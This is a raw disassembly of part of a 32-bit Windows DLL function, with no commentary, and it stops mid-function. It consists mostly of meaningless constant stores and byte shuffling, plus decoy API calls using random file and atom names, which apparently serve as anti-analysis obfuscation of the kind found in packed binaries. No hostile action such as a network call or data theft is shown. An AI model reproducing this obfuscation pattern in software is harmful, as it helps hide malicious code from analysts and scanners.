mov word [ebp - 0x1050], cx
mov byte [ebp - 0x235], 0x6f
mov dword [ebp - 0x32a0], 0x258b
mov edx, 0x4c3
mov word [ebp - 0x1054], dx
mov dword [ebp - 0x32a4], 0x370b
mov eax, 0x73
mov word [ebp - 0x1058], ax
mov byte [ebp - 0x236], 7
mov byte [ebp - 0x237], 0x51
mov dword [ebp - 0x32a8], 0xa51
mov dword [ebp - 0x32ac], 0x5d87
mov ecx, 0xef
mov word [ebp - 0x105c], cx
mov dword [ebp - 0x32b0], 0x2f45
mov edx, 0x465
mov word [ebp - 0x1060], dx
mov eax, 0x143
mov word [ebp - 0x1064], ax
mov ecx, 0x4d3
mov word [ebp - 0x1068], cx
mov dword [ebp - 0x32b4], 0x24f5
mov dword [ebp - 0x32b8], 0x40b3
mov dword [ebp - 0x32bc], 0x2b2d
mov edx, 0xfb3
mov word [ebp - 0x106c], dx
mov eax, 0x2f7
mov word [ebp - 0x1070], ax
mov ecx, 0xbb3
mov word [ebp - 0x1074], cx
mov byte [ebp - 0x238], 0x39
mov edx, 0x3a3
mov word [ebp - 0x1078], dx
mov eax, 0x2db
mov word [ebp - 0x107c], ax
mov byte [ebp - 0x239], 0x15
mov byte [ebp - 0x23a], 0xa3
mov dword [ebp - 0x32c0], 0x7231
mov ecx, 0x1e1
mov word [ebp - 0x1080], cx
mov byte [ebp - 0x23b], 0x39
mov dword [ebp - 0x32c4], 0x53ef
mov dword [ebp - 0x32c8], 0x6387
mov edx, 0xba7
mov word [ebp - 0x1084], dx
mov dword [ebp - 0x32cc], 0xb0d
mov eax, 0x349
mov word [ebp - 0x1088], ax
mov ecx, 0xc79
mov word [ebp - 0x108c], cx
mov edx, 0xf79
mov word [ebp - 0x1090], dx
mov byte [ebp - 0x23c], 0x1f
mov dword [ebp - 0x32d0], 0x306b
mov byte [ebp - 0x23d], 0x4b
mov byte [ebp - 0x23e], 0x71
mov dword [ebp - 0x32d4], 0x3ff7
mov dword [ebp - 0x32d8], 0x12af
mov eax, 0x85f
mov word [ebp - 0x1094], ax
mov byte [ebp - 0x23f], 0x3f
mov dword [ebp - 0x32dc], 0x5d9f
mov byte [ebp - 0x240], 3
mov byte [ebp - 0x241], 9
mov ecx, 0x343
mov word [ebp - 0x1098], cx
mov byte [ebp - 0x242], 0x4d
mov edx, 0x395
mov word [ebp - 0x109c], dx
mov eax, 0x363
mov word [ebp - 0x10a0], ax
mov ecx, 0x595
mov word [ebp - 0x10a4], cx
mov edx, 0x6eb
mov word [ebp - 0x10a8], dx
mov eax, 0x3fb
mov word [ebp - 0x10ac], ax
mov dword [ebp - 0x32e0], 0x486d
mov ecx, 0xc49
mov word [ebp - 0x10b0], cx
mov byte [ebp - 0x243], 0x93
mov edx, 0x147
mov word [ebp - 0x10b4], dx
mov eax, 0x1e9
mov word [ebp - 0x10b8], ax
mov byte [ebp - 0x244], 7
mov ecx, 0xded
mov word [ebp - 0x10bc], cx
mov byte [ebp - 0x245], 0x75
mov dword [ebp - 0x32e4], 0x5079
mov edx, 0xd5
mov word [ebp - 0x10c0], dx
mov eax, 0x5c7
mov word [ebp - 0x10c4], ax
mov dword [ebp - 0x32e8], 0xdbd
mov ecx, 0x4bb
mov word [ebp - 0x10c8], cx
mov edx, 0x25f
mov word [ebp - 0x10cc], dx
mov eax, 0x3cd
mov word [ebp - 0x10d0], ax
mov dword [ebp - 0x32ec], 0x4999
mov byte [ebp - 0x246], 0x6b
mov byte [ebp - 0x247], 0x35
mov byte [ebp - 0x248], 0x45
mov dword [ebp - 0x32f0], 0x3699
mov dword [ebp - 0x32f4], 0x3ef7
mov dword [ebp - 0x32f8], 0x2a39
mov dword [ebp - 0x32fc], 0x1a8d
mov ecx, 0x5b1
mov word [ebp - 0x10d4], cx
mov byte [ebp - 0x249], 5
mov byte [ebp - 0x24a], 5
mov dword [ebp - 0x3300], 0x3d2f
mov edx, 0xa9
mov word [ebp - 0x10d8], dx
mov byte [ebp - 0x24b], 0x5f
mov dword [ebp - 0x3304], 0x43fd
mov eax, 0xf21
mov word [ebp - 0x10dc], ax
mov dword [ebp - 0x3308], 0x1c9f
mov dword [ebp - 0x330c], 0x54b
mov dword [ebp - 0x3310], 0x3e23
mov byte [ebp - 0x24c], 0x11
mov byte [ebp - 0x24d], 0x39
mov byte [ebp - 0x24e], 9
mov ecx, 0xc93
mov word [ebp - 0x10e0], cx
mov dword [ebp - 0x3314], 0x1955
mov edx, 0x1ab
mov word [ebp - 0x10e4], dx
mov dword [ebp - 0x3318], 0x467d
mov byte [ebp - 0x24f], 0x75
mov eax, 0x7ef
mov word [ebp - 0x10e8], ax
mov byte [ebp - 0x250], 0x31
mov byte [ebp - 0x251], 0xe1
mov byte [ebp - 0x252], 0x29
mov ecx, 0x505
mov word [ebp - 0x10ec], cx
mov dword [ebp - 0x331c], 0x25fb
mov dword [ebp - 0x3320], 0x4557
mov edx, 0x2fb
mov word [ebp - 0x10f0], dx
mov byte [ebp - 0x253], 0xc1
mov eax, 0x265
mov word [ebp - 0x10f4], ax
mov ecx, 0x67f
mov word [ebp - 0x10f8], cx
mov edx, 0x569
mov word [ebp - 0x10fc], dx
mov dword [ebp - 0x3324], 0x1995
mov dword [ebp - 0x3328], 0x5ecd
mov eax, 0xabf
mov word [ebp - 0x1100], ax
mov dword [ebp - 0x332c], 0x5341
mov ecx, 0xd7d
mov word [ebp - 0x1104], cx
mov edx, 0x631
mov word [ebp - 0x1108], dx
mov dword [ebp - 0x3330], 0x5827
mov byte [ebp - 0x254], 0x91
mov byte [ebp - 0x255], 0xa9
mov byte [ebp - 0x256], 0xbd
mov dword [ebp - 0x3334], 0x141f
mov byte [ebp - 0x257], 0x7b
mov dword [ebp - 0x3338], 0x1813
mov byte [ebp - 0x258], 0x27
mov dword [ebp - 0x333c], 0x2111
mov eax, 0x2fd
mov word [ebp - 0x110c], ax
mov ecx, 0x6cd
mov word [ebp - 0x1110], cx
mov byte [ebp - 0x259], 0xb
mov edx, 0x965
mov word [ebp - 0x1114], dx
mov eax, 0x9a3
mov word [ebp - 0x1118], ax
mov byte [ebp - 0x25a], 7
mov byte [ebp - 0x25b], 0x9d
mov byte [ebp - 0x25c], 0x7d
mov ecx, 0xbeb
mov word [ebp - 0x111c], cx
mov byte [ebp - 0x25d], 0xf3
mov dword [ebp - 0x3340], 0x17d
mov edx, 0x299
mov word [ebp - 0x1120], dx
mov byte [ebp - 0x25e], 0x4f
mov byte [ebp - 0x25f], 0x99
mov eax, 0x667
mov word [ebp - 0x1124], ax
mov ecx, 0x1c3
mov word [ebp - 0x1128], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3344], eax
mov byte [ebp - 0x260], 0x77
push 0
push 0x80
push 0
push 0
push 4
push 0x80000000
push str.uoup7g3oY6UzT
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9494], eax
mov dl, byte [ebp - 0x260]
mov byte [ebp - 0x3348], dl
cmp byte [ebp - 0x3348], 0x77
je 0x10006197
jmp 0x100061b9
lea eax, [ebp - 0x260]
mov dword [ebp - 0x334c], eax
mov dword [ebp - 0x3350], 0x206f
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3354], eax
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x260]
add edx, eax
mov byte [0x100b712e], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9498], eax
cmp dword [ebp - 0x3350], 0x21e1
ja 0x10006363
movzx ecx, byte [0x100b712e]
movzx edx, byte [ebp - 0x260]
and ecx, edx
mov eax, dword [ebp - 0x334c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [0x100b712e]
xor edx, eax
mov byte [ebp - 0x260], dl
movzx edx, byte [ebp - 0x260]
movzx ecx, byte [0x100b712e]
sar edx, cl
mov eax, dword [ebp - 0x334c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3350]
add ecx, 0x25
mov dword [ebp - 0x3350], ecx
movzx edx, byte [ebp - 0x260]
movzx ecx, byte [0x100b712e]
shl edx, cl
mov eax, dword [ebp - 0x334c]
mov byte [eax], dl
movzx ecx, byte [0x100b712e]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x260], cl
movzx ecx, byte [ebp - 0x260]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
sub ecx, eax
mov byte [0x100b712e], cl
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x260]
add edx, eax
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b949c], eax
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
movzx ecx, byte [0x100b712e]
and eax, ecx
mov byte [ebp - 0x260], al
movzx edx, byte [ebp - 0x260]
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b712e], dl
movzx edx, byte [0x100b712e]
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x260], dl
movzx edx, byte [0x100b712e]
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x260], dl
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x260]
or edx, eax
mov byte [0x100b712e], dl
movzx ecx, byte [0x100b712e]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x260], cl
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [0x100b712e]
and edx, eax
mov byte [ebp - 0x260], dl
jmp 0x100061e2
mov ecx, 0x68f
mov word [0x100b94a0], cx
mov dword [ebp - 0x3358], 0x3275
mov edx, dword [ebp - 0x334c]
mov al, byte [edx]
mov byte [ebp - 0x335c], al
cmp byte [ebp - 0x335c], 0
je 0x10006392
jmp 0x100063fc
mov ecx, dword [ebp - 0x334c]
mov dl, byte [ecx]
mov byte [ebp - 0x3360], dl
cmp byte [ebp - 0x3360], 0
je 0x100063ab
jmp 0x100063fc
imul eax, dword [0x100b71c8], 0x148f
mov dword [0x100b71c8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3364], eax
movzx ecx, word [ebp - 0xbdc]
xor ecx, 0x57
mov word [ebp - 0xbdc], cx
mov dword [ebp - 0x3368], 0x141d
mov dword [ebp - 0x336c], 0x4ada
mov dword [0x100b94a4], 0x100b71c8
mov byte [ebp - 0x261], 0x3d
cmp dword [ebp - 0x336c], 0x57d4
jae 0x100064d2
movzx edx, word [ebp - 0xbdc]
sub edx, 0xf31
mov word [ebp - 0xbdc], dx
push 0x1112
push 0x186d
push 0x51
push 0x3854
mov eax, dword [0x100b9494]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3370], eax
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x260]
sar edx, cl
mov eax, dword [ebp - 0x334c]
mov byte [eax], dl
mov ecx, dword [0x100b71c8]
shl ecx, 9
mov edx, dword [0x100b94a4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x336c]
add eax, 0x97
mov dword [ebp - 0x336c], eax
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [0x100b712e]
or edx, eax
mov byte [ebp - 0x260], dl
movzx ecx, word [ebp - 0xbdc]
add ecx, 0x4e1
mov word [ebp - 0xbdc], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3374], eax
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
and eax, dword [0x100b71c8]
mov ecx, dword [0x100b94a4]
mov dword [ecx], eax
jmp 0x100063fc
mov dl, byte [ebp - 0x261]
mov byte [ebp - 0x3378], dl
cmp byte [ebp - 0x3378], 0x3d
je 0x100064e9
jmp 0x1000652e
mov eax, dword [ebp - 0x334c]
mov cl, byte [eax]
mov byte [ebp - 0x337c], cl
cmp byte [ebp - 0x337c], 0
je 0x10006502
jmp 0x1000652e
mov edx, dword [0x100b71c8]
mov dword [ebp - 0x3380], edx
cmp dword [ebp - 0x3380], 0x2845
je 0x1000651c
jmp 0x10006521
call fcn.10001580
lea eax, [ebp - 0xad14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x3368], 0x51f
jbe 0x100066a3
movsx ecx, byte [ebp - 0x261]
xor ecx, 1
mov byte [ebp - 0x261], cl
movzx edx, byte [ebp - 0x260]
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b712e], dl
movzx ecx, word [ebp - 0xbdc]
shl ecx, 0xb
mov word [ebp - 0xbdc], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b94b0], eax
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x260]
add eax, ecx
mov edx, dword [ebp - 0x334c]
mov byte [edx], al
mov eax, dword [0x100b94a4]
mov ecx, dword [eax]
or ecx, dword [0x100b71c8]
mov edx, dword [0x100b94a4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x260]
and ecx, edx
mov eax, dword [ebp - 0x334c]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x260]
movzx edx, byte [0x100b712e]
xor ecx, edx
mov eax, dword [ebp - 0x334c]
mov byte [eax], cl
movzx edx, byte [ebp - 0x260]
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b712e], dl
movzx ecx, byte [0x100b712e]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x260], cl
movzx ecx, byte [ebp - 0x260]
movzx edx, byte [0x100b712e]
sub ecx, edx
mov eax, dword [ebp - 0x334c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3368]
sub ecx, 0xca
mov dword [ebp - 0x3368], ecx
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
mov ecx, dword [0x100b71c8]
shl eax, cl
mov ecx, dword [0x100b94a4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x260]
and eax, ecx
mov edx, dword [ebp - 0x334c]
mov byte [edx], al
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
movzx edx, byte [0x100b712e]
or ecx, edx
mov byte [ebp - 0x260], cl
movzx eax, byte [ebp - 0x260]
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
xor eax, edx
mov byte [0x100b712e], al
jmp 0x1000652e
push 0
push 0x100
push 2
push 0
push 4
push 0xc0000000
push str.AVbA6Bi3o06dY4ApY4l8enu9ggXrKNRefWl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3384], eax
movzx eax, word [ebp - 0xbdc]
mov dword [ebp - 0x3388], eax
cmp dword [ebp - 0x3388], 0xe7d
je 0x100066e1
jmp 0x1000670b
mov ecx, dword [ebp - 0x338c]
push ecx
mov edx, dword [0x100b94b8]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b94b4], eax
movzx eax, word [ebp - 0xbdc]
sar eax, 3
mov word [ebp - 0xbdc], ax
movsx ecx, word [0x100b94a0]
cmp ecx, 0x7fb
jne 0x10006779
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
add eax, dword [0x100b71c8]
mov ecx, dword [0x100b94a4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3390]
push edx
mov eax, dword [ebp - 0x3394]
push eax
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b94bc], eax
movsx ecx, byte [ebp - 0x261]
and ecx, 0x43
mov byte [ebp - 0x261], cl
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
push eax
mov ecx, dword [0x100b71c8]
push ecx
movzx edx, byte [ebp - 0x261]
push edx
call fcn.10001570
add esp, 0xc
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b94c0], eax
movsx eax, word [0x100b94a0]
mov dword [ebp - 0x3398], eax
cmp dword [ebp - 0x3398], 0x68f
je 0x100067a7
jmp 0x10006802
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx ecx, byte [0x100b712e]
shl edx, cl
mov byte [ebp - 0x1a5], dl
mov al, byte [ebp - 0x261]
mov byte [ebp - 0x339c], al
cmp byte [ebp - 0x339c], 0x4b
je 0x100067d6
jmp 0x10006802
mov ecx, dword [0x100b71c8]
xor ecx, 0x6a23
mov edx, dword [0x100b94a4]
mov dword [edx], ecx
mov eax, dword [0x100b94c4]
push eax
mov ecx, dword [ebp - 0x33a0]
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b94bc], eax
mov dword [ebp - 0x33a4], 0x1eb8
cmp dword [ebp - 0x3358], 0x333b
jae 0x1000692c
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1a5]
sar eax, cl
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], al
movzx edx, byte [0x100b712e]
movzx eax, byte [ebp - 0x260]
or edx, eax
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], dl
mov edx, dword [0x100b71c8]
add edx, 0x6fef
mov eax, dword [0x100b94a4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3358]
add ecx, 0x16
mov dword [ebp - 0x3358], ecx
movzx edx, byte [0x100b712e]
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x1a5], dl
movzx edx, byte [ebp - 0x260]
movzx eax, byte [0x100b712e]
xor edx, eax
mov byte [ebp - 0x1a5], dl
push 0
push 0x3d3e
push 0xa89
push 0x1b94
push 2
mov ecx, dword [ebp - 0x3384]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100b94c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b94cc], eax
movsx edx, word [0x100b94a0]
sub edx, 0x4a3
mov word [0x100b94a0], dx
movzx eax, byte [ebp - 0x260]
movzx ecx, byte [ebp - 0x1a5]
shl eax, cl
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], al
movzx edx, byte [0x100b712e]
movzx ecx, byte [ebp - 0x260]
sar edx, cl
mov byte [ebp - 0x1a5], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33a8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b94d0], eax
jmp 0x1000680c
mov al, byte [ebp - 0x260]
mov byte [ebp - 0x33ac], al
cmp byte [ebp - 0x33ac], 0xc1
je 0x10006943
jmp 0x10006957
movsx ecx, word [0x100b94a0]
add ecx, 0x255
mov word [0x100b94a0], cx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x33b0], eax
mov edx, dword [0x100b71c8]
mov dword [ebp - 0x33b4], edx
lea eax, [ebp - 0xbdc]
mov dword [ebp - 0x33b8], eax
push str.L1AZ_LlX486k.HH_GGHZn
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x112c], ax
mov cl, byte [0x100b712e]
mov byte [ebp - 0x33bc], cl
cmp byte [ebp - 0x33bc], 0x87
je 0x100069ac
jmp 0x100069d4
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
and eax, dword [ebp - 0x33b4]
mov ecx, dword [0x100b94a4]
mov dword [ecx], eax
movzx edx, word [ebp - 0xbdc]
push edx
push 0x5e
call fcn.10001540
add esp, 8
movsx eax, byte [ebp - 0x261]
or eax, 0x67
mov byte [ebp - 0x1d5], al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b94dc], eax
movzx ecx, word [ebp - 0xbdc]
xor ecx, 0xd2b
mov edx, dword [ebp - 0x33b8]
movzx eax, word [edx]
cmp ecx, eax
jge 0x10006a2d
mov ecx, dword [0x100b94e0]
push ecx
mov edx, dword [ebp - 0x33c0]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [ebp - 0x33c4], eax
jmp 0x10006a6f
movzx eax, word [ebp - 0xbdc]
shl eax, 0x15
mov ecx, dword [ebp - 0x33b8]
movzx edx, word [ecx]
cmp eax, edx
jge 0x10006a6f
mov eax, dword [0x100b94a4]
mov ecx, dword [0x100b71c8]
add ecx, dword [eax]
mov dword [ebp - 0x33b4], ecx
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x33b4]
sar eax, cl
mov ecx, dword [0x100b94a4]
mov dword [ecx], eax
movzx edx, byte [0x100b712e]
movzx eax, byte [ebp - 0x260]
and edx, eax
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x260]
xor eax, ecx
mov byte [0x100b712e], al
movzx edx, byte [ebp - 0x260]
mov eax, dword [ebp - 0x334c]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x1a5], dl
movsx edx, byte [ebp - 0x261]
add edx, 0x4d
mov byte [ebp - 0x1d5], dl
mov eax, dword [ebp - 0x33b4]
and eax, dword [0x100b71c8]
mov ecx, dword [0x100b94a4]
mov dword [ecx], eax
movzx edx, word [ebp - 0x112c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b94e4], ax
mov eax, dword [ebp - 0x33b8]
movzx ecx, word [eax]
sub ecx, 0xa1f
mov word [ebp - 0xbdc], cx
movzx edx, byte [ebp - 0x1a5]
movzx ecx, byte [0x100b712e]
shl edx, cl
mov byte [ebp - 0x260], dl
mov eax, dword [ebp - 0x334c]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x260]
sar edx, cl
mov byte [0x100b712e], dl
mov eax, dword [ebp - 0x33a4]
sub eax, 0x3a
mov dword [ebp - 0x33a4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x33c8], eax
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x260]
xor edx, eax
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x1a5]
movzx eax, byte [ebp - 0x260]
add edx, eax
mov ecx, dword [ebp - 0x334c]
mov byte [ecx], dl
cmp dword [ebp - 0x33a4], 0x1a30
jae 0x10006a6f
mov dl, byte [ebp - 0x1d5]
mov byte [0x100b7d97], dl
mov eax, dword [ebp - 0x33b8]
movzx ecx, word [eax]
mov dword [ebp - 0x33cc], ecx
cmp dword [ebp - 0x33cc], 0x2b75
je 0x10006bbb
jmp 0x100a37b8
movsx edx, word [0x100b94a0]
mov dword [ebp - 0x33d0], edx
cmp dword [ebp - 0x33d0], 0xffffdcd4
je 0x10006bd6
jmp 0x10006c21
mov eax, dword [ebp - 0x33b4]
mov dword [ebp - 0x33d4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33d8], eax
lea ecx, [ebp - 0xbdc]
mov dword [ebp - 0x33dc], ecx
push str.G1swyd_L4gvazp_5j
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b94ec], ax
movsx edx, byte [0x100b7d97]
movsx eax, byte [ebp - 0x1d5]
and edx, eax
mov byte [ebp - 0xef], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x33e0], eax
mov ecx, dword [ebp - 0x33b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xbdc]
or edx, eax
mov word [0x100b71cc], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b94f0], eax
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x33e4], ecx
imul edx, dword [ebp - 0x3028], 0x3181
mov dword [ebp - 0x3028], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x33c8], eax
mov ax, word [0x100b94a0]
mov word [0x100b94f4], ax
lea ecx, [ebp - 0x33b4]
mov dword [ebp - 0x33e8], ecx
lea edx, [ebp - 0xbdc]
mov dword [ebp - 0x33ec], edx
movzx eax, byte [ebp - 0x260]
mov ecx, dword [ebp - 0x334c]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b712f], al
movsx edx, word [0x100b94a0]
mov dword [ebp - 0x33f0], edx
cmp dword [ebp - 0x33f0], 0x361
je 0x10006ccf
jmp 0x10006d05
movsx eax, byte [ebp - 0xef]
movsx ecx, byte [ebp - 0x1d5]
sar eax, cl
mov byte [ebp - 0x261], al
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x33d4]
push eax
movzx ecx, byte [0x100b7d97]
push ecx
call fcn.10001570
add esp, 0xc
mov dx, word [0x100b94a0]
mov word [ebp - 0x1130], dx
mov ax, word [0x100b71cc]
mov word [0x100b94f8], ax
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x33f4], ecx
mov edx, dword [ebp - 0x33d4]
mov dword [ebp - 0x33f8], edx
cmp dword [ebp - 0x33f8], 0x3ef67
je 0x10006d45
jmp 0x10006d62
lea eax, [ebp - 0x3028]
mov dword [ebp - 0x33fc], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b94fc], eax
push 0
push 0x20
push 1
push 0
push 8
push 0xc0000000
push str.nfETC0nXHMrwx5Jd
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9500], eax
mov ecx, dword [ebp - 0x3028]
mov dword [ebp - 0x3400], ecx
cmp dword [ebp - 0x3400], 0xe63
je 0x10006d9b
jmp 0x10006de0
mov edx, dword [ebp - 0x33e8]
mov eax, dword [ebp - 0x33b4]
xor eax, dword [edx]
mov ecx, dword [0x100b94a4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3404]
push edx
mov eax, dword [0x100b9504]
push eax
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [ebp - 0x3408], eax
movsx ecx, byte [ebp - 0xef]
movsx edx, byte [ebp - 0x1d5]
add ecx, edx
mov byte [ebp - 0x261], cl
movsx eax, word [0x100b94f4]
mov dword [ebp - 0x340c], eax
cmp dword [ebp - 0x340c], 0xffffdcd4
je 0x10006dfb
jmp 0x10006e52
push str.r34lWw_W7U_pENa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1134], ax
mov ecx, dword [ebp - 0x33dc]
mov dx, word [ecx]
mov word [ebp - 0x1138], dx
mov dword [0x100b9508], 0x100b94f4
mov eax, dword [ebp - 0x33f4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x8f], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b950c], eax
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [ebp - 0x33b4]
imul edx, dword [ecx]
mov dword [ebp - 0x2afc], edx
push str.kEkrCv
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x113c], ax
mov eax, dword [0x100b9508]
movsx ecx, word [eax]
mov dword [ebp - 0x3410], ecx
cmp dword [ebp - 0x3410], 0x121
je 0x10006e95
jmp 0x10006ee7
mov edx, dword [ebp - 0x2afc]
push edx
mov eax, dword [ebp - 0x33e8]
mov ecx, dword [eax]
push ecx
movzx edx, byte [0x100b7d97]
push edx
call fcn.10001570
add esp, 0xc
mov eax, dword [0x100b9508]
movsx ecx, word [eax]
movsx edx, word [0x100b94f4]
xor ecx, edx
mov eax, dword [0x100b9508]
mov word [eax], cx
mov ecx, dword [ebp - 0x3414]
push ecx
mov edx, dword [0x100b9504]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9510], eax
lea eax, [ebp - 0x3028]
mov dword [ebp - 0x3418], eax
mov ecx, dword [ebp - 0x33e4]
mov dl, byte [ecx]
mov byte [ebp - 0x341c], dl
cmp byte [ebp - 0x341c], 0x91
je 0x10006f0c
jmp 0x10006f3e
movzx eax, word [ebp - 0x1138]
mov ecx, dword [ebp - 0x33dc]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xbdc], ax
mov eax, dword [ebp - 0x3420]
push eax
mov ecx, dword [ebp - 0x3394]
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9514], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9518], eax
lea edx, [ebp - 0x1130]
mov dword [0x100b951c], edx
mov eax, dword [ebp - 0x33e8]
mov ecx, dword [eax]
mov dword [ebp - 0x3424], ecx
cmp dword [ebp - 0x3424], 0x7e29
je 0x10006f71
jmp 0x10006fa6
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x33f4]
mov byte [ecx], al
